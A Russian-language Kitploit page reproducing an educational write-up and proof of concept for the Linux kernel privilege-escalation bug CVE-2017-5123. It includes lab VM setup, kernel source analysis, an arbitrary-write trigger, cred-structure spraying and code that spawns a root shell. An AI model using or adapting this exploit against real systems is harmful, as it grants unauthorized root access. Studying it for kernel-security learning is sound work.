Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2017-5123 — PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR | Kitploit
Инструменты/GitHubGitHub/c3r34lk1ll3r/cve-2017-5123
Повышение привилегийЭксплуатацияОбучение и ОбразованиеЭксплуатация Бинарных ФайловЛаборатории и Практика
GitHubc3r34lk1ll3r/cve-2017-5123

CVE-2017-5123

PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR

Репозиторий
3346 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2017-5123

PoC CVE-2017-5123 - LPE - Обход SMEP/SMAP. Без KASLR

Реализация waitid в ванильных ядрах не ограничивала целевое назначение для копирования информации о результатах. Это может позволить локальным пользователям записывать в защищённую память ядра, что может привести к повышению привилегий.

Введение

В этом небольшом руководстве я проанализирую уязвимость ядра, которая позволяет получить привилегии root.

Данный файл разделён на четыре части:

  1. Настройка VM;
  2. Анализ уязвимости;
  3. Эксплуатация;
  4. PoC.

Хочу отметить, что существуют гораздо лучшие способы эксплуатации этой CVE (действительно, это всего лишь PoC для изучения ядра, его нельзя использовать в реальных условиях), но я считаю, что данная методология может быть полезна как введение в эксплуатацию ядра.

Настройка VM

Сборка ядра

Эта уязвимость была внедрена в коммите 4c48abe91be0, поэтому нам нужно собрать эту версию ядра.

Это может быть немного сложно, так как это старая версия, и код должен быть пропатчен. Я сделал репозиторий с уже пропатченным кодом ядра и файлом .config, так что вы можете клонировать и собрать.

root@kitploit:~
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse

Обратите внимание, что это ядро будет собрано с драйверами virtio, так что вы сможете использовать virtio disk для обмена файлами между хостом и VM.

Настройка Rootfs

Теперь создадим начальную rootfs:

root@kitploit:~
qemu-img create -f raw hda.raw 10G
# Форматируем диск в ext4
mkfs.ext4 ./hda.raw 
# Создаём точку монтирования для образа
mkdir /tmp/mount1
# Монтируем диск
sudo mount -o loop ./hda.raw /tmp/mount1

Затем следует установить базовый дистрибутив Linux, например, с помощью pacstrap или debootstrap.

root@kitploit:~
sudo pacstrap /tmp/mount1 base base-devel vim

Наконец, можем модифицировать систему:

root@kitploit:~
# Добавляем пользователя 'test'
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# без пароля
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow 
# мы можем смонтировать virtio-диск для обмена файлами между хостом и гостем
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared 
# Полезно иметь права sudo
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group

sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1

Если всё в порядке, теперь можно протестировать нашу систему с qemu:

root@kitploit:~
qemu-system-x86_64 \
    -kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
    -hda ./hda.raw \
    -m 4G \
    -cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
    -smp 4 \
    -vga virtio \
    -enable-kvm \
    -nographic \
    -machine type=q35,accel=kvm \
    -virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
    -append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
    -chardev "vc,id=vc.0,cols=1920,rows=1080" \
    -net "user,hostfwd=tcp::10022-:22" \
    -net "nic" \
    -s

Уязвимость

В описании CVE говорится о неограниченной операции записи во время системного вызова waitid.

Откроем kernel/exit.c и посмотрим код:

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
		infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;
    user_access_begin();
    unsafe_put_user(signo, &infop->si_signo, Efault);
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

Эта функция довольно проста: после нескольких проверок следуют вызовы unsafe_put_user(...) и функция возвращается.

Основная часть функции состоит из вызовов unsafe_put_user(...), поэтому перейдём к ним (arch/x86/include/asm/uaccess.h):

root@kitploit:~
/*
 * The "unsafe" user accesses aren't really "unsafe", but the naming
 * is a big fat warning: you have to not only do the access_ok()
 * checking before using them, but you have to surround them with the
 * user_access_begin/end() pair.
 */
#define user_access_begin()	__uaccess_begin()
#define user_access_end()	__uaccess_end()

#define unsafe_put_user(x, ptr, err_label)					\
do {										\
    int __pu_err;								\
    __typeof__(*(ptr)) __pu_val = (x);					\
    __put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT);	\
    if (unlikely(__pu_err)) goto err_label;					\
} while (0)

#define unsafe_get_user(x, ptr, err_label)					\
do {										\
    int __gu_err;								\  
    __inttype(*(ptr)) __gu_val;						\
    __get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT);	\
    (x) = (__force __typeof__(*(ptr)))__gu_val;				\
    if (unlikely(__gu_err)) goto err_label;					\
} while (0)

В комментарии есть жирное предупреждение: если вы хотите использовать unsafe_put/get_user, вы должны сначала вызвать access_ok() и окружить их парой user_access_begin/end().

Если посмотреть на предыдущий код (waitid), можно заметить, что access_ok() никогда не вызывается, поэтому системный вызов нарушает это предупреждение.

Но что это за макросы?

SMAP/SMEP

SMAP и SMEP — это две функции безопасности, внедрённые в ядро для усложнения написания эксплойтов. Следует отметить, что эти функции реализуются процессором.

SMEP предотвращает исполнение пользовательского кода, когда процессор находится в режиме супервизора; SMAP, напротив, блокирует чтение/запись в пользовательскую память.

Ядру необходимо читать/записывать данные в/из пользовательской памяти, и это можно сделать двумя способами:

  1. существуют функции (например, copy_from_user), которые позволяют копировать память в пространство ядра;
  2. временно отключить SMAP.

Как видно из определения unsafe_put_user, эта функция просто копирует значение x в память, на которую указывает ptr (и переходит к err_label в случае ошибки). Мы только что сказали, что ядро не может обращаться к пользовательскому пространству из-за SMAP, и поэтому эти функции следует оборачивать между user_access_begin/end().

root@kitploit:~
#define __uaccess_begin() stac()
#define __uaccess_end()   clac()

Как видим, user_access_begin/end — это просто ASM-инструкции stac и clac.

  • stac: «Устанавливает флаг AC в регистре EFLAGS. Это может включить проверку выравнивания для доступа к данным в режиме пользователя. Это разрешает явный доступ к пользовательским страницам в режиме супервизора, даже если бит SMAP установлен в регистре CR4.»
  • clac: «Сбрасывает флаг AC в регистре EFLAGS. Это отключает любую проверку выравнивания для доступа к данным в режиме пользователя. Если бит SMAP установлен в регистре CR4, это запрещает явный доступ к пользовательским страницам в режиме супервизора.»

По сути, эти два макроса включают/отключают SMAP.

В нашем предыдущем «предупреждении» также упоминается функция access_ok:

root@kitploit:~
/**
 * access_ok: - Проверяет, корректен ли указатель на пользовательское пространство
 * @type: Тип доступа: %VERIFY_READ или %VERIFY_WRITE. Обратите внимание, что
 *        %VERIFY_WRITE является надмножеством %VERIFY_READ — если безопасно
 *        записывать в блок, то всегда безопасно и читать из него.
 * @addr: Указатель на пользовательское пространство на начало блока для проверки
 * @size: Размер блока для проверки
 *
 * Контекст: Только пользовательский контекст. Эта функция может засыпать, если
 *           включены ошибки страниц.
 *
 * Проверяет, корректен ли указатель на блок памяти в пользовательском пространстве.
 *
 * Возвращает true (ненулевое значение), если блок памяти может быть корректен,
 * false (ноль), если он определённо некорректен.
 *
 * Обратите внимание, что в зависимости от архитектуры эта функция, вероятно,
 * просто проверяет, что указатель находится в диапазоне пользовательского пространства —
 * после вызова этой функции функции доступа к памяти всё ещё могут вернуть -EFAULT.
 */
#define access_ok(type, addr, size)					\
({									\
	WARN_ON_IN_IRQ();						\
	likely(!__range_not_ok(addr, size, user_addr_max()));		\
})

Комментарий здесь говорит сам за себя: этот макрос проверяет, является ли указатель корректным пользовательским указателем.

Произвольная запись

Давайте ещё раз взглянем на код waitid:

root@kitploit:~
	user_access_begin();
	unsafe_put_user(signo, &infop->si_signo, Efault);
	unsafe_put_user(0, &infop->si_errno, Efault);
	unsafe_put_user(info.cause, &infop->si_code, Efault);
	unsafe_put_user(info.pid, &infop->si_pid, Efault);
	unsafe_put_user(info.uid, &infop->si_uid, Efault);
	unsafe_put_user(info.status, &infop->si_status, Efault);
	user_access_end();

Как вы уже догадались, отсутствие access_ok() приводит к произвольной записи куда угодно в памяти, потому что указатель infop полностью контролируется атакующим.

Вызов ошибки

Очень легко достичь уязвимого пути, и мы можем создать триггер следующим простым кодом:

root@kitploit:~
int thread_ready;
int die_thread(void *arg){
    thread_ready=1;
    syscall(__NR_sched_yield);
    return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
  printf("[0] Trying to overwrite 0x%016lx\r", where);
  //int pid = fork(); // Также можно использовать fork
  thread_ready = 0; 
  int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
  int err;
  while(thread_ready == 0) {syscall(__NR_sched_yield);} // Ждём поток
  err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);   
  return err;
}

Этот простой код вызовет уязвимость и запишет в память по адресу where.

Мы можем использовать gdb, если хотим проверить этот триггер. Например, выберем произвольный адрес и используем функцию trigger_bug для его перезаписи.

Эксплуатация

Эту уязвимость можно эксплуатировать разными способами, но я предпочитаю очень простой подход.

Помните, что мы можем записывать куда угодно, но записываемые данные частично контролируются. Мы можем перезаписать адрес значением 0.

Основная идея — перезаписать UID нашего процесса и стать root, но сначала нужно понять, что такое учётные данные в Linux.

Fork

Начнём с изучения системного вызова fork. Эта функция используется для создания новых процессов.

Посмотрим код в kernel/fork.c:

root@kitploit:~
SYSCALL_DEFINE0(fork)
{
	return _do_fork(SIGCHLD, 0, 0, NULL, NULL, 0);
}

Итак, системный вызов fork — это просто обёртка для _do_fork с жёстко заданными параметрами.

Эта последняя функция немного длинная, но её можно кратко описать так:

root@kitploit:~
long _do_fork(unsigned long clone_flags,
	      unsigned long stack_start,
	      unsigned long stack_size,
	      int __user *parent_tidptr,
	      int __user *child_tidptr,
	      unsigned long tls)
{
	struct task_struct *p;
	int trace = 0;
	long nr;
  ......

  // Это создаст ещё одну task_struct, но НЕ запустит процесс.
	p = copy_process(clone_flags, stack_start, stack_size,
			 child_tidptr, NULL, trace, tls, NUMA_NO_NODE);
	add_latent_entropy();
  ......
    // Пробуждает новую задачу. Это переведёт задачу в состояние RUNNING и поставит её в очередь выполнения.
		wake_up_new_task(p);
  ......
		put_pid(pid);
	} else {
		nr = PTR_ERR(p);
	}
	return nr;
}

Эта функция выделяет новый объект task_struct. Хотя эта структура очень важна (она описывает процесс), мы сосредоточимся на поле cred:

root@kitploit:~
...
	/* Учётные данные процесса: */
	/* Учётные данные трассировщика при прикреплении: */
	const struct cred __rcu		*ptracer_cred;

	/* Объективные и реальные субъективные учётные данные задачи (COW): */
	const struct cred __rcu		*real_cred;

	/* Эффективные (переопределяемые) субъективные учётные данные задачи (COW): */
	const struct cred __rcu		*cred;
  ...

Как видим, есть (три) указателя на struct cred. Посмотрим, как устроена эта структура (include/linux/cred.h):

root@kitploit:~
struct cred {
	atomic_t	usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
	atomic_t	subscribers;	/* количество подписанных процессов */
	void		*put_addr;
	unsigned	magic;
#define CRED_MAGIC	0x43736564
#define CRED_MAGIC_DEAD	0x44656144
#endif
	kuid_t		uid;		/* реальный UID задачи */
	kgid_t		gid;		/* реальный GID задачи */
	kuid_t		suid;		/* сохранённый UID задачи */
	kgid_t		sgid;		/* сохранённый GID задачи */
	kuid_t		euid;		/* эффективный UID задачи */
	kgid_t		egid;		/* эффективный GID задачи */
	kuid_t		fsuid;		/* UID для операций VFS */
	kgid_t		fsgid;		/* GID для операций VFS */
  ......

Как видно, UID процесса — это просто unsigned integer (следуя определению kuid_t), так что мы можем просто перезаписать это значение на 0, чтобы стать root.

Copy_process

Структура task_struct выделяется в функции copy_process, которая довольно сложна и её основная цель — «скопировать» процесс в новый.

Мы можем сосредоточиться на copy_creds(p, clone_flags), которая определена как:

root@kitploit:~
/*
 * Копирует учётные данные для нового процесса, созданного fork()
 *
 * Мы разделяем, если можем, но при некоторых обстоятельствах приходится генерировать новый
 * набор.
 *
 * Новый процесс получает субъективные учётные данные текущего процесса в качестве
 * своих объективных и субъективных учётных данных.
 */
int copy_creds(struct task_struct *p, unsigned long clone_flags)
{
	struct cred *new;
	int ret;

	if (
#ifdef CONFIG_KEYS
		!p->cred->thread_keyring &&
#endif
		clone_flags & CLONE_THREAD
	    ) {
		p->real_cred = get_cred(p->cred);
		get_cred(p->cred);
		alter_cred_subscribers(p->cred, 2);
		kdebug("share_creds(%p{%d,%d})",
		       p->cred, atomic_read(&p->cred->usage),
		       read_cred_subscribers(p->cred));
		atomic_inc(&p->cred->user->processes);
		return 0;
	}

	new = prepare_creds();
	if (!new)
		return -ENOMEM;

	if (clone_flags & CLONE_NEWUSER) {
		ret = create_user_ns(new);
		if (ret < 0)
			goto error_put;
	}

.........

error_put:
	put_cred(new);
	return ret;
}

Как видно, эта функция вызывает prepare_creds, где и происходит реальное выделение памяти.

Теперь у нас есть путь для выделения (псевдо)произвольного количества struct cred:

  1. _do_fork()
  2. copy_process()
  3. copy_creds()

Последняя проблема — как вызвать _do_fork() из пользовательского пространства. Можно использовать fork, но это может быть медленно, поэтому мы будем использовать clone.

Примечание: мы не можем использовать pthread из-за флагов: если посмотреть на код copy_creds, можно заметить путь, где структура не выделяется по-настоящему.

Собираем всё вместе

Теперь небольшое резюме:

  1. мы можем вызвать ошибку и записать в память;
  2. мы знаем, что можем записать 0 в память;
  3. мы знаем, что если перезаписать UID какого-либо процесса на 0, он получает права root.

Теперь нужно знать, куда записывать в память, и хотя KASLR отключён, адрес одной struct cred недостаточно стабилен, поэтому я решил применить memory spraying.

Spraying

Нам нужно найти struct cred в памяти, чтобы определить диапазон адресов. Можно использовать gdb и python со скриптом вроде этого:

root@kitploit:~
....
for task in task_lists():
    #gdb.write("{address} {pid} {comm}\n".format(
    #    address=task,
    #    pid=task["pid"],
    #    comm=task["comm"].string()))
    comm = task["comm"].string()
    # Вставьте имя вашего исполняемого файла
    if comm == "exploit":
        print(task['cred'])
....

Примечание: этот скрипт работает только с отключённым KASLR и с отладочными символами (нужен указатель init_task). Можно попробовать несколько раз и заметить, что куча растёт вниз, поэтому можно попробовать нижний адрес и двигаться вверх.

Теперь можно использовать системный вызов clone для порождения множества процессов, и с помощью gdb проверить адреса:

root@kitploit:~
stack=malloc(STACK_SIZE)+STACK_SIZE;
  for(x=0;x<MAX_THREADS;x++){
    stackTop = malloc(STACK_SIZE) + STACK_SIZE;
    if (!stackTop){
      perror("[-] Malloc");
      return -1;
    }
    // Функция spray_thread может быть просто бесконечным циклом
    pid = clone(spray_thread, stackTop, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
    if (pid == -1){
      perror("\n\nCLONE");
      return -1;
    }
    printf("[0] Process created: %d\r", x);
    }

Примечание: возможно, вы не сможете создать более 4k процессов. Проверьте ulimits, если это так.

PoC

Наконец, напишем наш PoC.

Достаточно вызвать trigger_bug с разными адресами (в поисках структуры), в то время как наши порождённые потоки будут проверять свой UID, например так:

root@kitploit:~
struct shared_area{
  int one_win;
};
struct shared_area glob_var;

// Порождённый поток
int spray_thread(void *arg){
  int uid;
  int previous_one = syscall(__NR_getuid);
  // Цикл по getUID
  while(1){
    uid = syscall(__NR_getuid);
    //printf("UID: %d\n",uid);
    // Если возвращённый UID отличается от предыдущего, значит мы попали в область struct cred
    if (uid != previous_one){
      printf("WIN!! with %d", uid);
      // Убиваем остальные потоки для стабилизации системы
      glob_var.one_win = 1;
      // Просто запускаем shell
      system("/bin/sh");
    }
    if(glob_var.one_win == 1)
      return 1;
  }
  return 0;
}

Вероятность попадания в структуру — 50%, так что после нескольких попыток вы получите права root.

Root

Заключение

Это (базовый) PoC, и spraying далёк от совершенства. Это всего лишь «введение» в удивительный мир ядра; я пропустил много концепций, но они чрезвычайно важны (например, управление памятью). Если хотите изучить глубже, загляните в prepare_creds и выделение памяти.

KASLR отключён, но эта уязвимость позволяет обойти и эту защиту (unsafe_put_user не падает при неверном адресе), но я не считаю, что добавление нового «слоя» брутфорса полезно, если ваша цель — изучить ядро. Если ваша цель — использовать эту уязвимость в реальных условиях, вы должны написать другой эксплойт (как минимум, другой spraying).

Пища для размышлений: я использовал эту уязвимость для понимания и опробования техники ret2dir (Подсказка: можно инициировать запись по псевдоадресу, а модификацию читать с пользовательским адресом).

Ссылки

  • https://salls.github.io/Linux-Kernel-CVE-2017-5123/
  • https://blog.lexfo.fr/cve-2017-11176-linux-kernel-exploitation-part1.html
Скачать инструмент